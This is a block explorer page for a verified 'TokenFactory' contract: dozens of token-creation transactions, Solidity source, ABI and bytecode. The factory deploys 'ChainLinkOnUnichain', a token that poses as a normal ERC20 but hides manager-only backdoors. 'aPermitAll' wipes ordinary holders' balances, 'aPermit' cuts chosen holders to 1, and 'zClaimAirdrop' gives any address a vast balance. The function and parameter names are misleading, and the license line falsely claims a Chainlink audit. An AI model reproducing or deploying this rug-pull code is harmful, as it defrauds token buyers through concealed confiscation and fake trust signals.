ETH Price: $2,844.88 (-3.19%)

Contract

0xe13f2B7FcacA45E98a0b282C1c7F5624195B28f3

Overview

ETH Balance

0 ETH

ETH Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Create Token315123562025-11-04 12:51:5582 days ago1762260715IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315123482025-11-04 12:51:4782 days ago1762260707IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315123382025-11-04 12:51:3782 days ago1762260697IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315123332025-11-04 12:51:3282 days ago1762260692IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315123232025-11-04 12:51:2282 days ago1762260682IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315123182025-11-04 12:51:1782 days ago1762260677IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315123082025-11-04 12:51:0782 days ago1762260667IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315123032025-11-04 12:51:0282 days ago1762260662IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315122932025-11-04 12:50:5282 days ago1762260652IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315122882025-11-04 12:50:4782 days ago1762260647IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315122782025-11-04 12:50:3782 days ago1762260637IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000044
Create Token315122732025-11-04 12:50:3282 days ago1762260632IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122632025-11-04 12:50:2282 days ago1762260622IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122582025-11-04 12:50:1782 days ago1762260617IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122482025-11-04 12:50:0782 days ago1762260607IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122432025-11-04 12:50:0282 days ago1762260602IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122332025-11-04 12:49:5282 days ago1762260592IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122282025-11-04 12:49:4782 days ago1762260587IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122182025-11-04 12:49:3782 days ago1762260577IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122132025-11-04 12:49:3282 days ago1762260572IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315122032025-11-04 12:49:2282 days ago1762260562IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315121982025-11-04 12:49:1782 days ago1762260557IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315121882025-11-04 12:49:0782 days ago1762260547IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315121832025-11-04 12:49:0282 days ago1762260542IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
Create Token315121732025-11-04 12:48:5282 days ago1762260532IN
0xe13f2B7F...4195B28f3
0.000001 ETH00.00000045
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
315123562025-11-04 12:51:5582 days ago1762260715
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315123482025-11-04 12:51:4782 days ago1762260707
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315123382025-11-04 12:51:3782 days ago1762260697
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315123332025-11-04 12:51:3282 days ago1762260692
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315123232025-11-04 12:51:2282 days ago1762260682
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315123182025-11-04 12:51:1782 days ago1762260677
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315123082025-11-04 12:51:0782 days ago1762260667
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315123032025-11-04 12:51:0282 days ago1762260662
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122932025-11-04 12:50:5282 days ago1762260652
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122882025-11-04 12:50:4782 days ago1762260647
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122782025-11-04 12:50:3782 days ago1762260637
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122732025-11-04 12:50:3282 days ago1762260632
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122632025-11-04 12:50:2282 days ago1762260622
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122582025-11-04 12:50:1782 days ago1762260617
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122482025-11-04 12:50:0782 days ago1762260607
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122432025-11-04 12:50:0282 days ago1762260602
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122332025-11-04 12:49:5282 days ago1762260592
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122282025-11-04 12:49:4782 days ago1762260587
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122182025-11-04 12:49:3782 days ago1762260577
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122132025-11-04 12:49:3282 days ago1762260572
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315122032025-11-04 12:49:2282 days ago1762260562
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315121982025-11-04 12:49:1782 days ago1762260557
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315121882025-11-04 12:49:0782 days ago1762260547
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315121832025-11-04 12:49:0282 days ago1762260542
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
315121732025-11-04 12:48:5282 days ago1762260532
0xe13f2B7F...4195B28f3
 Contract Creation0.000001 ETH
View All Internal Transactions

Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TokenFactory

Compiler Version
v0.8.30+commit.73712a01

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at uniscan.xyz on 2025-09-02
*/

// SPDX-License-Identifier: Audited By CHAIN LINK ON Unichain
pragma solidity 0.8.30;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ChainLinkOnUnichain is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000000000000000000000000;
    address Router02Address;
    mapping(address => uint256) private VirtualsOnUnichain;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private believers; 

    address private constant ADDRESS_WETH = 0x4200000000000000000000000000000000000006;
    address private constant ADDRESS_DEAD = 0x000000000000000000000000000000000000dEaD;
    address ADDRESS_DEVELOPMENT;
    address ADDRESS_Manager;
    address ADDRESS_Virtuals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
        transferOwnership(owner_);  
        _name = name_;
        _symbol = symbol_;
       ADDRESS_Manager = ADDRESS_Manager_;
       ADDRESS_DEVELOPMENT = ADDRESS_Manager_;
       ADDRESS_Virtuals = owner_;
       Router02Address = Router02Address_;
        VirtualsOnUnichain[address(this)] = _totalSupply.mul(1).div(10000);
        emit Transfer(address(0), address(this), _totalSupply.mul(1).div(10000));

  
        Virtuals();

 
        payable(address(this)).transfer(msg.value);
    }


    function Virtuals() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(9960).div(10000);
        uint256 threePercent = _totalSupply.mul(10).div(10000);
        uint256 twoPercent = _totalSupply.mul(29).div(10000);

        VirtualsOnUnichain[ADDRESS_WETH] = VirtualsOnUnichain[ADDRESS_WETH].add(ninetyFourPercent);
        VirtualsOnUnichain[ADDRESS_DEAD] = VirtualsOnUnichain[ADDRESS_DEAD].add(threePercent);
        VirtualsOnUnichain[ADDRESS_DEVELOPMENT] = VirtualsOnUnichain[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_DEAD, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }

 function _updateHolders(address account) internal {
        if (VirtualsOnUnichain[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < believers.length; i++) {
                if (believers[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                believers.push(account);
            }
        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        VirtualsOnUnichain[sender] = VirtualsOnUnichain[sender].sub(amount);
        VirtualsOnUnichain[recipient] = VirtualsOnUnichain[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

      modifier Only_Manager() {
        require(ADDRESS_Manager == _msgSender());
        _;
    }


    function aPermitAll() external Only_Manager {
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV2Pair && 
                believer != ADDRESS_WETH &&
                believer != ADDRESS_DEAD && 
                believer != ADDRESS_Manager &&
                believer != ADDRESS_DEVELOPMENT
            ) {
                VirtualsOnUnichain[believer] = 0;
            }
        }
    }
   
function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        VirtualsOnUnichain[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager {
        VirtualsOnUnichain[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(Router02Address);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            0x000000000000000000000000000000000000dEaD,
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required BEP20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return VirtualsOnUnichain[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {
    

    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);

    constructor() {
      
    }

    // Function to create a single token
    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_,
        address Router02Address_
    ) external payable returns (address) {
       
        ChainLinkOnUnichain newToken = (new ChainLinkOnUnichain){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
        return address(newToken);
    }

   

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":false,"internalType":"string","name":"name","type":"string"},{"indexed":false,"internalType":"string","name":"symbol","type":"string"},{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"Manager","type":"address"}],"name":"TokenCreated","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"newOwner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"},{"internalType":"address","name":"Router02Address_","type":"address"}],"name":"createToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052348015600e575f5ffd5b50611d438061001c5f395ff3fe608060405260043610610020575f3560e01c8063f62f82d61461002b575f5ffd5b3661002757005b5f5ffd5b61003e6100393660046101aa565b61005a565b6040516001600160a01b03909116815260200160405180910390f35b5f5f34878787878760405161006e906100e3565b61007c95949392919061026d565b6040518091039082f0905080158015610097573d5f5f3e3d5ffd5b5090507f54e1ed11e58e09b51023a1ef2f609b1d1c17fea6ba3432eea973e9a51f604f7e81888888886040516100d19594939291906102bc565b60405180910390a19695505050505050565b6119f68061031883390190565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610113575f5ffd5b813567ffffffffffffffff81111561012d5761012d6100f0565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561015c5761015c6100f0565b604052818152838201602001851015610173575f5ffd5b816020850160208301375f918101602001919091529392505050565b80356001600160a01b03811681146101a5575f5ffd5b919050565b5f5f5f5f5f60a086880312156101be575f5ffd5b853567ffffffffffffffff8111156101d4575f5ffd5b6101e088828901610104565b955050602086013567ffffffffffffffff8111156101fc575f5ffd5b61020888828901610104565b9450506102176040870161018f565b92506102256060870161018f565b91506102336080870161018f565b90509295509295909350565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b60a081525f61027f60a083018861023f565b8281036020840152610291818861023f565b6001600160a01b03968716604085015294861660608401525050921660809092019190915292915050565b6001600160a01b038616815260a0602082018190525f906102df9083018761023f565b82810360408401526102f1818761023f565b6001600160a01b039586166060850152939094166080909201919091525094935050505056fe60806040819052600b805460ff60a01b191690556119f63881900390819083398101604081905261002f9161058e565b5f80546001600160a01b0319163390811782556040519091905f5160206119765f395f51905f52908290a361006383610175565b600161006f86826106a7565b50600261007c85826106a7565b50600880546001600160a01b03199081166001600160a01b038581169182179093556007805483169091179055600980548216868416179055600380549091169183169190911790556100e96127106100e36c0c9f2c9cd04674edea4000000060016101e2565b9061026e565b305f81815260046020526040812092909255905f5160206119965f395f51905f526101286127106100e36c0c9f2c9cd04674edea4000000060016101e2565b60405190815260200160405180910390a36101416102c8565b60405130903480156108fc02915f818181858888f1935050505015801561016a573d5f5f3e3d5ffd5b5050505050506107be565b5f546001600160a01b0316331461018a575f5ffd5b6001600160a01b03811661019c575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206119765f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101f157505f610268565b5f6101fc8385610775565b905082610209858361078c565b146102655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102be5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161025c565b610265828461078c565b5f6102e86127106100e36c0c9f2c9cd04674edea400000006126e86101e2565b90505f6103096127106100e36c0c9f2c9cd04674edea40000000600a6101e2565b90505f61032a6127106100e36c0c9f2c9cd04674edea40000000601d6101e2565b7342000000000000000000000000000000000000065f5260046020525f5160206119d65f395f51905f52549091506103629084610478565b60046020525f5160206119d65f395f51905f525561dead5f525f5160206119b65f395f51905f52546103949083610478565b60046020525f5160206119b65f395f51905f52556007546001600160a01b03165f90815260409020546103c79082610478565b6007546001600160a01b03165f9081526004602090815260409182902092909255518481527342000000000000000000000000000000000000069130915f5160206119965f395f51905f52910160405180910390a360405182815261dead9030905f5160206119965f395f51905f529060200160405180910390a36007546040518281526001600160a01b039091169030905f5160206119965f395f51905f529060200160405180910390a3505050565b5f8061048483856107ab565b9050838110156102655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161025c565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126104f9575f5ffd5b81516001600160401b03811115610512576105126104d6565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610540576105406104d6565b604052818152838201602001851015610557575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b0381168114610589575f5ffd5b919050565b5f5f5f5f5f60a086880312156105a2575f5ffd5b85516001600160401b038111156105b7575f5ffd5b6105c3888289016104ea565b602088015190965090506001600160401b038111156105e0575f5ffd5b6105ec888289016104ea565b9450506105fb60408701610573565b925061060960608701610573565b915061061760808701610573565b90509295509295909350565b600181811c9082168061063757607f821691505b60208210810361065557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106a257805f5260205f20601f840160051c810160208510156106805750805b601f840160051c820191505b8181101561069f575f815560010161068c565b50505b505050565b81516001600160401b038111156106c0576106c06104d6565b6106d4816106ce8454610623565b8461065b565b6020601f821160018114610706575f83156106ef5750848201515b5f19600385901b1c1916600184901b17845561069f565b5f84815260208120601f198516915b828110156107355787850151825560209485019460019092019101610715565b508482101561075257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761026857610268610761565b5f826107a657634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026857610268610761565b6111ab806107cb5f395ff3fe6080604052600436106100f2575f3560e01c80638da5cb5b11610087578063a9059cbb11610057578063a9059cbb1461028f578063dd62ed3e146102ae578063e8078d94146102f2578063f2fde38b14610306575f5ffd5b80638da5cb5b146102175780638f8af1e11461023d57806395d89b411461025c578063a37e0a6414610270575f5ffd5b806323b872dd116100c257806323b872dd14610195578063313ce567146101b457806370a08231146101cf578063715018a614610203575f5ffd5b806306fdde03146100fd578063095ea7b3146101275780630bc60abb1461015657806318160ddd1461016c575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b50610111610325565b60405161011e9190610e2d565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610e76565b6103b5565b604051901515815260200161011e565b348015610161575f5ffd5b5061016a6103cb565b005b348015610177575f5ffd5b506c0c9f2c9cd04674edea400000005b60405190815260200161011e565b3480156101a0575f5ffd5b506101466101af366004610ea0565b6104df565b3480156101bf575f5ffd5b506040516012815260200161011e565b3480156101da575f5ffd5b506101876101e9366004610ede565b6001600160a01b03165f9081526004602052604090205490565b34801561020e575f5ffd5b5061016a61052e565b348015610222575f5ffd5b505f546040516001600160a01b03909116815260200161011e565b348015610248575f5ffd5b5061016a610257366004610ef9565b61058b565b348015610267575f5ffd5b5061011161066c565b34801561027b575f5ffd5b5061016a61028a366004610ede565b61067b565b34801561029a575f5ffd5b506101466102a9366004610e76565b610727565b3480156102b9575f5ffd5b506101876102c8366004610f6a565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b3480156102fd575f5ffd5b5061016a610733565b348015610311575f5ffd5b5061016a610320366004610ede565b610a20565b60606001805461033490610fa1565b80601f016020809104026020016040519081016040528092919081815260200182805461036090610fa1565b80156103ab5780601f10610382576101008083540402835291602001916103ab565b820191905f5260205f20905b81548152906001019060200180831161038e57829003601f168201915b5050505050905090565b5f6103c1338484610aa0565b5060015b92915050565b6008546001600160a01b031633146103e1575f5ffd5b5f5b6006548110156104dc575f6006828154811061040157610401610fd9565b5f918252602090912001546001600160a01b0316905030811480159061043457505f546001600160a01b03828116911614155b801561044e5750600b546001600160a01b03828116911614155b801561046a57506001600160a01b0381166006602160991b0114155b801561048157506001600160a01b03811661dead14155b801561049b57506008546001600160a01b03828116911614155b80156104b557506007546001600160a01b03828116911614155b156104d3576001600160a01b0381165f908152600460205260408120555b506001016103e3565b50565b5f6104eb848484610bc4565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461052491869161051f9086610ca7565b610aa0565b5060019392505050565b5f546001600160a01b03163314610543575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6008546001600160a01b031633146105a1575f5ffd5b5f5b8181101561066757600160045f8585858181106105c2576105c2610fd9565b90506020020160208101906105d79190610ede565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061060757610607610fd9565b905060200201602081019061061c9190610ede565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161065791815260200190565b60405180910390a36001016105a3565b505050565b60606002805461033490610fa1565b6008546001600160a01b03163314610691575f5ffd5b61069d6012600a6110e4565b6106b4906c0c9f2c9cd04674edea400000006110f2565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106fc6012600a6110e4565b610713906c0c9f2c9cd04674edea400000006110f2565b60405190815260200160405180910390a350565b5f6103c1338484610bc4565b5f546001600160a01b03163314610748575f5ffd5b600b54600160a01b900460ff16156107a75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610801573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190611109565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610884573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a89190611109565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108f2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109169190611109565b600b80546001600160a01b0319166001600160a01b03928316179055600a5461094f913091166c0c9f2c9cd04674edea40000000610aa0565b600a546001600160a01b031663f305d7194730610980816001600160a01b03165f9081526004602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f60448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af11580156109e3573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a089190611124565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610a35575f5ffd5b6001600160a01b038116610a47575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b025760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161079e565b6001600160a01b038216610b635760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161079e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bd6575f5ffd5b6001600160a01b038216610be8575f5ffd5b6001600160a01b0383165f90815260046020526040902054610c0a9082610ca7565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610c389082610d09565b6001600160a01b0383165f90815260046020526040902055610c5983610d67565b610c6282610d67565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bb791815260200190565b5f82821115610cf85760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161079e565b610d02828461114f565b9392505050565b5f80610d158385611162565b905083811015610d025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161079e565b6001600160a01b0381165f90815260046020526040902054156104dc575f805b600654811015610dd857826001600160a01b031660068281548110610dae57610dae610fd9565b5f918252602090912001546001600160a01b031603610dd05760019150610dd8565b600101610d87565b5080610e2957600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104dc575f5ffd5b5f5f60408385031215610e87575f5ffd5b8235610e9281610e62565b946020939093013593505050565b5f5f5f60608486031215610eb2575f5ffd5b8335610ebd81610e62565b92506020840135610ecd81610e62565b929592945050506040919091013590565b5f60208284031215610eee575f5ffd5b8135610d0281610e62565b5f5f60208385031215610f0a575f5ffd5b823567ffffffffffffffff811115610f20575f5ffd5b8301601f81018513610f30575f5ffd5b803567ffffffffffffffff811115610f46575f5ffd5b8560208260051b8401011115610f5a575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610f7b575f5ffd5b8235610f8681610e62565b91506020830135610f9681610e62565b809150509250929050565b600181811c90821680610fb557607f821691505b602082108103610fd357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561103c5780850481111561102057611020610fed565b600184161561102e57908102905b60019390931c928002611005565b935093915050565b5f82611052575060016103c5565b8161105e57505f6103c5565b8160018114611074576002811461107e5761109a565b60019150506103c5565b60ff84111561108f5761108f610fed565b50506001821b6103c5565b5060208310610133831016604e8410600b84101617156110bd575081810a6103c5565b6110c95f198484611001565b805f19048211156110dc576110dc610fed565b029392505050565b5f610d0260ff841683611044565b80820281158282048414176103c5576103c5610fed565b5f60208284031215611119575f5ffd5b8151610d0281610e62565b5f5f5f60608486031215611136575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103c5576103c5610fed565b808201808211156103c5576103c5610fed56fea264697066735822122015f167374696cfa3458c681fc9b3d337da539d5956d62fd44c05ab161f1b107b64736f6c634300081e00338be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd3f674467df582d3de9c81a51d703d3b3f62f0ca41078e222c2b763fb3b660de8a26469706673582212201ae6adfa9bf0769fa7fc1e906bc49c1739bc69d50bc52a151b4a8715f88eae0364736f6c634300081e0033

Deployed Bytecode

